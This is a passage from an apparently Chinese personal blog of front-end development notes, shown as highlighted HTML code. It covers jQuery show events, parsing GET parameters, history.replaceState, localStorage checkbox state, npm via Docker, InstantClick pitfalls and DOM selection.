       </span><span class=\"n\">newCallback</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">function</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">$.</span><span class=\"n\">isFunction</span><span class=\"p\">(</span><span class=\"n\">oldCallback</span><span class=\"p\">))</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">              </span><span class=\"n\">oldCallback</span><span class=\"o\">.</span><span class=\"n\">apply</span><span class=\"p\">(</span><span class=\"n\">obj</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"p\">}</span>\n<span class=\"w\">            </span><span class=\"n\">obj</span><span class=\"o\">.</span><span class=\"n\">trigger</span><span class=\"p\">(</span><span class=\"s1\">&#39;afterShow&#39;</span><span class=\"p\">);</span>\n<span class=\"w\">          </span><span class=\"p\">};</span>\n\n<span class=\"w\">      </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">you</span><span class=\"w\"> </span><span class=\"n\">can</span><span class=\"w\"> </span><span class=\"n\">trigger</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"n\">before</span><span class=\"w\"> </span><span class=\"n\">show</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"n\">you</span><span class=\"w\"> </span><span class=\"n\">want</span>\n<span class=\"w\">      </span><span class=\"n\">obj</span><span class=\"o\">.</span><span class=\"n\">trigger</span><span class=\"p\">(</span><span class=\"s1\">&#39;beforeShow&#39;</span><span class=\"p\">);</span>\n\n<span class=\"w\">      </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">now</span><span class=\"w\"> </span><span class=\"n\">use</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"n\">old</span><span class=\"w\"> </span><span class=\"n\">function</span><span class=\"w\"> </span><span class=\"n\">to</span><span class=\"w\"> </span><span class=\"n\">show</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"n\">element</span><span class=\"w\"> </span><span class=\"n\">passing</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"n\">new</span><span class=\"w\"> </span><span class=\"n\">callback</span>\n<span class=\"w\">      </span><span class=\"n\">_oldShow</span><span class=\"o\">.</span><span class=\"n\">apply</span><span class=\"p\">(</span><span class=\"n\">obj</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"p\">[</span><span class=\"n\">speed</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">newCallback</span><span class=\"p\">]);</span>\n<span class=\"w\">    </span><span class=\"p\">});</span>\n<span class=\"w\">  </span><span class=\"p\">}</span>\n<span class=\"p\">});</span>\n</code></pre></div>\n\n<p>然后就可以使用bind注册<code>beforeShow</code>，<code>afterShow</code>咯：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">jQuery</span><span class=\"ss\">(</span><span class=\"nv\">function</span><span class=\"ss\">(</span>$<span class=\"ss\">)</span><span class=\"w\"> </span>{\n<span class=\"w\">  </span>$<span class=\"ss\">(</span><span class=\"s1\">&#39;#test&#39;</span><span class=\"ss\">)</span>\n<span class=\"w\">    </span>.<span class=\"nv\">bind</span><span class=\"ss\">(</span><span class=\"s1\">&#39;beforeShow&#39;</span>,<span class=\"w\"> </span><span class=\"nv\">function</span><span class=\"ss\">()</span><span class=\"w\"> </span>{\n<span class=\"w\">      </span><span class=\"nv\">alert</span><span class=\"ss\">(</span><span class=\"s1\">&#39;beforeShow&#39;</span><span class=\"ss\">)</span><span class=\"c1\">;</span>\n<span class=\"w\">    </span>}<span class=\"ss\">)</span><span class=\"w\"> </span>\n<span class=\"w\">    </span>.<span class=\"nv\">bind</span><span class=\"ss\">(</span><span class=\"s1\">&#39;afterShow&#39;</span>,<span class=\"w\"> </span><span class=\"nv\">function</span><span class=\"ss\">()</span><span class=\"w\"> </span>{\n<span class=\"w\">      </span><span class=\"nv\">alert</span><span class=\"ss\">(</span><span class=\"s1\">&#39;afterShow&#39;</span><span class=\"ss\">)</span><span class=\"c1\">;</span>\n<span class=\"w\">    </span>}<span class=\"ss\">)</span>\n<span class=\"w\">    </span>.<span class=\"k\">show</span><span class=\"ss\">(</span><span class=\"mi\">1000</span>,<span class=\"w\"> </span><span class=\"nv\">function</span><span class=\"ss\">()</span><span class=\"w\"> </span>{\n<span class=\"w\">      </span><span class=\"nv\">alert</span><span class=\"ss\">(</span><span class=\"s1\">&#39;in show callback&#39;</span><span class=\"ss\">)</span><span class=\"c1\">;</span>\n<span class=\"w\">    </span>}<span class=\"ss\">)</span>\n<span class=\"w\">    </span>.<span class=\"k\">show</span><span class=\"ss\">()</span><span class=\"c1\">;</span>\n}<span class=\"ss\">)</span><span class=\"c1\">;</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"get\">读取GET参数<a class=\"headerlink\" href=\"#get\" title=\"Permanent link\">&para;</a></h2>\n<p>有些时候对GET参数的处理交给了前端，后端的PHP可以$_GET[&ldquo;parameter&rdquo;]，前端JS咋办呢？</p>\n<p>From: http://stackoverflow.com/questions/979975/how-to-get-the-value-from-the-get-parameters</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nf\">var</span><span class=\"w\"> </span><span class=\"n\">QueryString</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">function</span><span class=\"w\"> </span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">  </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">This</span><span class=\"w\"> </span><span class=\"k\">function</span><span class=\"w\"> </span><span class=\"k\">is</span><span class=\"w\"> </span><span class=\"n\">anonymous</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">is</span><span class=\"w\"> </span><span class=\"n\">executed</span><span class=\"w\"> </span><span class=\"n\">immediately</span><span class=\"w\"> </span><span class=\"ow\">and</span><span class=\"w\"> </span>\n<span class=\"w\">  </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"k\">value</span><span class=\"w\"> </span><span class=\"k\">is</span><span class=\"w\"> </span><span class=\"n\">assigned</span><span class=\"w\"> </span><span class=\"k\">to</span><span class=\"w\"> </span><span class=\"n\">QueryString</span><span class=\"err\">!</span>\n<span class=\"w\">  </span><span class=\"nf\">var</span><span class=\"w\"> </span><span class=\"n\">query_string</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"err\">{}</span><span class=\"p\">;</span>\n<span class=\"w\">  </span><span class=\"nf\">var</span><span class=\"w\"> </span><span class=\"n\">query</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">window</span><span class=\"p\">.</span><span class=\"n\">location</span><span class=\"p\">.</span><span class=\"k\">search</span><span class=\"p\">.</span><span class=\"nf\">substring</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">);</span>\n<span class=\"w\">  </span><span class=\"nf\">var</span><span class=\"w\"> </span><span class=\"n\">vars</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">query</span><span class=\"p\">.</span><span class=\"n\">split</span><span class=\"p\">(</span><span class=\"ss\">&quot;&amp;&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">  </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"nf\">var</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">=</span><span class=\"mi\">0</span><span class=\"p\">;</span><span class=\"n\">i</span><span class=\"o\">&lt;</span><span class=\"n\">vars</span><span class=\"p\">.</span><span class=\"n\">length</span><span class=\"p\">;</span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">    </span><span class=\"nf\">var</span><span class=\"w\"> </span><span class=\"n\">pair</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">vars</span><span class=\"o\">[</span><span class=\"n\">i</span><span class=\"o\">]</span><span class=\"p\">.</span><span class=\"n\">split</span><span class=\"p\">(</span><span class=\"ss\">&quot;=&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"k\">If</span><span class=\"w\"> </span><span class=\"k\">first</span><span class=\"w\"> </span><span class=\"n\">entry</span><span class=\"w\"> </span><span class=\"k\">with</span><span class=\"w\"> </span><span class=\"n\">this</span><span class=\"w\"> </span><span class=\"n\">name</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">typeof</span><span class=\"w\"> </span><span class=\"n\">query_string</span><span class=\"o\">[</span><span class=\"n\">pair[0</span><span class=\"o\">]</span><span class=\"err\">]</span><span class=\"w\"> </span><span class=\"o\">===</span><span class=\"w\"> </span><span class=\"ss\">&quot;undefined&quot;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">      </span><span class=\"n\">query_string</span><span class=\"o\">[</span><span class=\"n\">pair[0</span><span class=\"o\">]</span><span class=\"err\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">decodeURIComponent</span><span class=\"p\">(</span><span class=\"n\">pair</span><span class=\"o\">[</span><span class=\"n\">1</span><span class=\"o\">]</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"k\">If</span><span class=\"w\"> </span><span class=\"k\">second</span><span class=\"w\"> </span><span class=\"n\">entry</span><span class=\"w\"> </span><span class=\"k\">with</span><span class=\"w\"> </span><span class=\"n\">this</span><span class=\"w\"> </span><span class=\"n\">name</span>\n<span class=\"w\">    </span><span class=\"err\">}</span><span class=\"w\"> </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">typeof</span><span class=\"w\"> </span><span class=\"n\">query_string</span><span class=\"o\">[</span><span class=\"n\">pair[0</span><span class=\"o\">]</span><span class=\"err\">]</span><span class=\"w\"> </span><span class=\"o\">===</span><span class=\"w\"> </span><span class=\"ss\">&quot;string&quot;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">      </span><span class=\"nf\">var</span><span class=\"w\"> </span><span class=\"n\">arr</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"n\"> query_string[pair[0</span><span class=\"o\">]</span><span class=\"err\">]</span><span class=\"p\">,</span><span class=\"n\">decodeURIComponent</span><span class=\"p\">(</span><span class=\"n\">pair</span><span class=\"o\">[</span><span class=\"n\">1</span><span class=\"o\">]</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"err\">]</span><span class=\"p\">;</span>\n<span class=\"w\">      </span><span class=\"n\">query_string</span><span class=\"o\">[</span><span class=\"n\">pair[0</span><span class=\"o\">]</span><span class=\"err\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">arr</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"k\">If</span><span class=\"w\"> </span><span class=\"n\">third</span><span class=\"w\"> </span><span class=\"ow\">or</span><span class=\"w\"> </span><span class=\"n\">later</span><span class=\"w\"> </span><span class=\"n\">entry</span><span class=\"w\"> </span><span class=\"k\">with</span><span class=\"w\"> </span><span class=\"n\">this</span><span class=\"w\"> </span><span class=\"n\">name</span>\n<span class=\"w\">    </span><span class=\"err\">}</span><span class=\"w\"> </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">      </span><span class=\"n\">query_string</span><span class=\"o\">[</span><span class=\"n\">pair[0</span><span class=\"o\">]</span><span class=\"err\">]</span><span class=\"p\">.</span><span class=\"n\">push</span><span class=\"p\">(</span><span class=\"n\">decodeURIComponent</span><span class=\"p\">(</span><span class=\"n\">pair</span><span class=\"o\">[</span><span class=\"n\">1</span><span class=\"o\">]</span><span class=\"p\">));</span>\n<span class=\"w\">    </span><span class=\"err\">}</span>\n<span class=\"w\">  </span><span class=\"err\">}</span><span class=\"w\"> </span>\n<span class=\"w\">  </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">query_string</span><span class=\"p\">;</span>\n<span class=\"err\">}</span><span class=\"p\">();</span>\n</code></pre></div>\n\n<p>执行后就可以这么使用：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"ss\">(</span><span class=\"nv\">typeof</span><span class=\"ss\">(</span><span class=\"nv\">QueryString</span>.<span class=\"nv\">parameter</span><span class=\"ss\">)</span><span class=\"o\">!=</span><span class=\"s2\">&quot;undefined&quot;</span><span class=\"ss\">)</span><span class=\"w\"> </span>{\n<span class=\"w\">    </span><span class=\"nv\">alert</span><span class=\"ss\">(</span><span class=\"nv\">QueryString</span>.<span class=\"nv\">parameter</span><span class=\"ss\">)</span><span class=\"c1\">;//do something with the parameter</span>\n}\n</code></pre></div>\n\n<hr />\n<h2 id=\"github-issue\">使用 Github Issue 作为博客评论区<a class=\"headerlink\" href=\"#github-issue\" title=\"Permanent link\">&para;</a></h2>\n<p>人家大佬的项目：<a href=\"http://github.com/wzpan/comment.js\">http://github.com/wzpan/comment.js</a>，<a href=\"http://www.hahack.com/codes/comment-js/\">中文文档</a></p>\n<p>如果觉得cloudflare加载速度不佳，可以把所有js打包成一个文件</p>\n<p>效果如本博客页面底部评论区所示，为了偷懒就没有为每个md文件单独开issue了，整个blog共用一个issue</p>\n<hr />\n<h2 id=\"historyreplacestate\">history.replaceState修改历史记录<a class=\"headerlink\" href=\"#historyreplacestate\" title=\"Permanent link\">&para;</a></h2>\n<p>如v2ex按照是否:visited来区分点开过和没点开过的帖子，其实现是url带上#reply回复数量</p>\n<p>但如果帖子页面有多种进入方式（自动跳转到页尾、发起了回复等），那么url并不一定与需要的一致</p>\n<p>我们可以使用history API来修改历史记录，从而保证带上<code>#reply回复数量</code>的url一定被认为访问过；而且自动改回去用户无感知（否则刷新后会打开不一样的页面）</p>\n<p>代码如下：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">&lt;script&gt;</span>\nsetTimeout(<span class=\"w\"> </span>function(){\n<span class=\"w\">    </span>var<span class=\"w\"> </span>oldurl<span class=\"w\"> </span>=<span class=\"w\"> </span>location.href;\n<span class=\"w\">    </span>history.replaceState(null,<span class=\"w\"> </span>null,<span class=\"w\"> </span>&#39;/t/<span class=\"cp\">{{</span><span class=\"nv\">topic</span><span class=\"o\">[</span><span class=\"s2\">&quot;id&quot;</span><span class=\"o\">]</span><span class=\"cp\">}}</span>#reply<span class=\"cp\">{{</span><span class=\"nv\">topic</span><span class=\"o\">[</span><span class=\"s2\">&quot;replyCount&quot;</span><span class=\"o\">]</span><span class=\"cp\">}}</span>&#39;);\n<span class=\"w\">    </span>history.replaceState(null,<span class=\"w\"> </span>null,<span class=\"w\"> </span>oldurl);\n},<span class=\"w\"> </span>1000);\n<span class=\"nt\">&lt;/script&gt;</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"checkboxlocalstorage\">记住一个checkbox的状态（用localStorage）<a class=\"headerlink\" href=\"#checkboxlocalstorage\" title=\"Permanent link\">&para;</a></h2>\n<p>查询是否勾选用<code>.is(\":checked\")</code> ， 改变勾选状态用<code>.prop(\"checked\",true)</code></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">&lt;script&gt;</span>\nfunction<span class=\"w\"> </span>checkbox_onclick(){\n<span class=\"w\">    </span>var<span class=\"w\"> </span>checked<span class=\"w\"> </span>=<span class=\"w\"> </span>$(&quot;#thecheckbox&quot;).is(&quot;:checked&quot;);\n<span class=\"w\">    </span>if(checked)<span class=\"w\"> </span>localStorage.setItem(&quot;status_thecheckbox&quot;,&quot;1&quot;);\n<span class=\"w\">    </span>else<span class=\"w\"> </span>localStorage.setItem(&quot;status_thecheckbox&quot;,&quot;0&quot;);\n}\n<span class=\"nt\">&lt;/script&gt;</span>\n<span class=\"nt\">&lt;input</span><span class=\"w\"> </span><span class=\"na\">type=</span><span class=\"s\">&quot;checkbox&quot;</span><span class=\"w\"> </span><span class=\"na\">id=</span><span class=\"s\">&quot;thecheckbox&quot;</span><span class=\"w\"> </span><span class=\"na\">onclick=</span><span class=\"s\">&#39;checkbox_onclick();&#39;</span><span class=\"nt\">&gt;</span>\n<span class=\"nt\">&lt;script&gt;</span>\n<span class=\"w\">    </span>var<span class=\"w\"> </span>status_thecheckbox<span class=\"w\"> </span>=<span class=\"w\"> </span>localStorage.getItem(&quot;status_thecheckbox&quot;);\n<span class=\"w\">    </span>if(status_thecheckbox!=null<span class=\"w\"> </span><span class=\"err\">&amp;&amp;</span><span class=\"w\"> </span>status_thecheckbox==&quot;1&quot;)<span class=\"w\"> </span>$(&quot;#thecheckbox&quot;).prop(&quot;checked&quot;,true);\n<span class=\"nt\">&lt;/script&gt;</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"nodejs\">NodeJS<a class=\"headerlink\" href=\"#nodejs\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"dockernpm\">用Docker执行npm<a class=\"headerlink\" href=\"#dockernpm\" title=\"Permanent link\">&para;</a></h3>\n<p>例如安装canvas和gifencoder包：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">PACKAGES</span><span class=\"o\">=</span><span class=\"s2\">&quot;canvas gifencoder&quot;</span>\n<span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"n\">run</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">rm</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">volume</span><span class=\"o\">=</span><span class=\"s2\">&quot;`pwd`:/app&quot;</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">w</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">app</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">it</span><span class=\"w\"> </span><span class=\"n\">node</span><span class=\"o\">:</span><span class=\"mi\">10</span><span class=\"w\"> </span><span class=\"n\">npm</span><span class=\"w\"> </span><span class=\"k\">install</span><span class=\"w\"> </span><span class=\"n\">$</span><span class=\"err\">{</span><span class=\"n\">PACKAGES</span><span class=\"err\">}</span><span class=\"w\">  </span><span class=\"o\">--</span><span class=\"n\">registry</span><span class=\"o\">=</span><span class=\"n\">https</span><span class=\"o\">://</span><span class=\"n\">registry</span><span class=\"p\">.</span><span class=\"n\">npm</span><span class=\"p\">.</span><span class=\"n\">taobao</span><span class=\"p\">.</span><span class=\"n\">org</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"instantclick\">使用InstantClick踩坑<a class=\"headerlink\" href=\"#instantclick\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"_1\">快速使用<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h3>\n<p>http://instantclick.io/v3.1.0/instantclick.min.js</p>\n<p>一定要在页面底部 <code>&lt;/body&gt;</code>之前才能引入：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">&lt;script</span><span class=\"w\"> </span><span class=\"na\">src=</span><span class=\"s\">&quot;instantclick.min.js&quot;</span><span class=\"w\"> </span><span class=\"err\">data-no-instant</span><span class=\"nt\">&gt;&lt;/script&gt;</span>\n<span class=\"nt\">&lt;script</span><span class=\"w\"> </span><span class=\"err\">data-no-instant</span><span class=\"nt\">&gt;</span>InstantClick.init(&#39;mousedown&#39;);<span class=\"nt\">&lt;/script&gt;</span>\n</code></pre></div>\n\n<h3 id=\"302\">被预加载的页面不能让后端返回302<a class=\"headerlink\" href=\"#302\" title=\"Permanent link\">&para;</a></h3>\n<p>否则会显示跳转之前的URL</p>\n<p>这种情况下可以对这个链接禁止预加载（不过更应该考虑这种链接改为post请求） 在a标签加上<code>data-no-instant</code></p>\n<h3 id=\"_2\">注意默认配置下后端将被频繁请求 频率限制需要放宽<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h3>\n<p><a href=\"http://instantclick.io/download\">官网</a>给出的代码使用<code>InstantClick.init()</code>，意味着鼠标移动上去就会触发加载（不是只触发一次），鼠标反复移动会导致大量的请求</p>\n<p>如果后端做了请求频率限制 需要放宽限制</p>\n<p>还是改为用<code>mousedown</code>来初始化 只有用户确实点击了才开始加载 据说也能有很好的效果</p>\n<h3 id=\"instantclick-js\">InstantClick引入一些副作用 对页面js要进行修改<a class=\"headerlink\" href=\"#instantclick-js\" title=\"Permanent link\">&para;</a></h3>\n<h4 id=\"jsreferrer\">js无法取得正确的referrer<a class=\"headerlink\" href=\"#jsreferrer\" title=\"Permanent link\">&para;</a></h4>\n<p>页面加载的请求是js执行的 document.referrer不会被设置为上一页</p>\n<h4 id=\"documentaddeventlistener\">document.addEventListener 重复触发<a class=\"headerlink\" href=\"#documentaddeventlistener\" title=\"Permanent link\">&para;</a></h4>\n<p>例如绑定paste事件 你可能这么写：</p>\n<div class=\"codehilite\"><pre><span></span><code>document.addEventListener(&#39;paste&#39;, handlepaste);\n</code></pre></div>\n\n<p>在切换页面后 这个事件会多次绑定 导致多次触发</p>\n<p>我的做法是先判断一个变量是否存在 不存在才设置：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"n\">typeof</span><span class=\"w\"> </span><span class=\"n\">paste_registered</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;undefined&quot;</span><span class=\"p\">){</span>\n<span class=\"w\">    </span><span class=\"n\">document</span><span class=\"p\">.</span><span class=\"n\">addEventListener</span><span class=\"p\">(&#39;</span><span class=\"n\">paste</span><span class=\"p\">&#39;,</span><span class=\"w\"> </span><span class=\"n\">handlepaste</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"n\">paste_registered</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">true</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>你也可以把这一部分<strong>不能重复执行</strong>的代码放入<code>&lt;script data-no-instant&gt;</code>中，但如果前一页没有这一块代码（也就是这个代码是当前页面才有的，需要执行一次），进入当前页面是<strong>不会触发</strong>的</p>\n<h4 id=\"js\">返回上一页重复执行页面添加元素的js 导致元素重复出现<a class=\"headerlink\" href=\"#js\" title=\"Permanent link\">&para;</a></h4>\n<p>现在的方法是对js动态添加的元素加个class 然后用jQuery的remove方法先通通删掉再添加</p>\n<h4 id=\"ready\">页面ready事件不会触发<a class=\"headerlink\" href=\"#ready\" title=\"Permanent link\">&para;</a></h4>\n<p>需要加入<code>InstantClick.on('change', callback);</code> 加到Init后即可</p>\n<p>但是似乎这个事件触发在页面图片加载完成之前Orz 不够完美</p>\n<h3 id=\"hash\">超链接的#hash定位功能也需要自己实现<a class=\"headerlink\" href=\"#hash\" title=\"Permanent link\">&para;</a></h3>\n<p>预加载的页面总是定位到顶部，忽视地址栏中的<code>#end</code>这种定位hash</p>\n<p>我的做法是这样写上述onchange的callback函数<code>implement_hashjump</code>：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">function</span><span class=\"w\"> </span><span class=\"n\">has_hashjump</span><span class=\"p\">(){</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"n\">there</span><span class=\"w\"> </span><span class=\"k\">is</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"c1\">#hash present for jumpping, return true</span>\n<span class=\"w\">    </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"nb\">hash</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">location</span><span class=\"o\">.</span><span class=\"n\">hash</span><span class=\"o\">.</span><span class=\"n\">replace</span><span class=\"p\">(</span><span class=\"s2\">&quot;#&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"nb\">hash</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"bp\">false</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">getElementById</span><span class=\"p\">(</span><span class=\"nb\">hash</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">||</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">getElementsByName</span><span class=\"p\">(</span><span class=\"nb\">hash</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">length</span><span class=\"o\">&gt;</span><span class=\"mi\">0</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"bp\">true</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"bp\">false</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">function</span><span class=\"w\"> </span><span class=\"n\">implement_hashjump</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"w\"> </span><span class=\"n\">has_hashjump</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"nb\">hash</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">location</span><span class=\"o\">.</span><span class=\"n\">hash</span><span class=\"o\">.</span><span class=\"n\">replace</span><span class=\"p\">(</span><span class=\"s2\">&quot;#&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">getElementById</span><span class=\"p\">(</span><span class=\"nb\">hash</span><span class=\"p\">))</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">documentElement</span><span class=\"o\">.</span><span class=\"n\">scrollTop</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"s2\">&quot;#&quot;</span><span class=\"o\">+</span><span class=\"nb\">hash</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">offset</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">top</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">        </span><span class=\"k\">else</span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">documentElement</span><span class=\"o\">.</span><span class=\"n\">scrollTop</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"s2\">&quot;[name=&#39;&quot;</span><span class=\"o\">+</span><span class=\"nb\">hash</span><span class=\"o\">+</span><span class=\"s2\">&quot;&#39;]&quot;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">offset</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">top</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"javascriptdom-the-basics-of-dom-manipulation-in-vanilla-javascript\">用原生Javascript操作DOM节点 The Basics of DOM Manipulation in Vanilla JavaScript<a class=\"headerlink\" href=\"#javascriptdom-the-basics-of-dom-manipulation-in-vanilla-javascript\" title=\"Permanent link\">&para;</a></h2>\n<p>https://www.sitepoint.com/dom-manipulation-vanilla-javascript-no-jquery/</p>\n<h3 id=\"_3\">选择元素<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">myElement</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">document</span><span class=\"o\">.</span><span class=\"n\">querySelector</span><span class=\"p\">(</span><span class=\"s1\">&#39;#foo &gt; div.bar&#39;</span><span class=\"p\">)</span>\n<span class=\"n\">myElement</span><span class=\"o\">.</span><span class=\"n\">matches</span><span class=\"p\">(</span><span class=\"s1\">&#39;div.bar&#39;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">===</span><span class=\"w\"> </span><span class=\"bp\">true</span>\n</code></pre></div>\n\n<p>注意querySelector是立即执行 而getElementsByTagName是取值的时候执行效率更高</p>\n<p>对元素列表遍历应该这么写：</p>\n<div 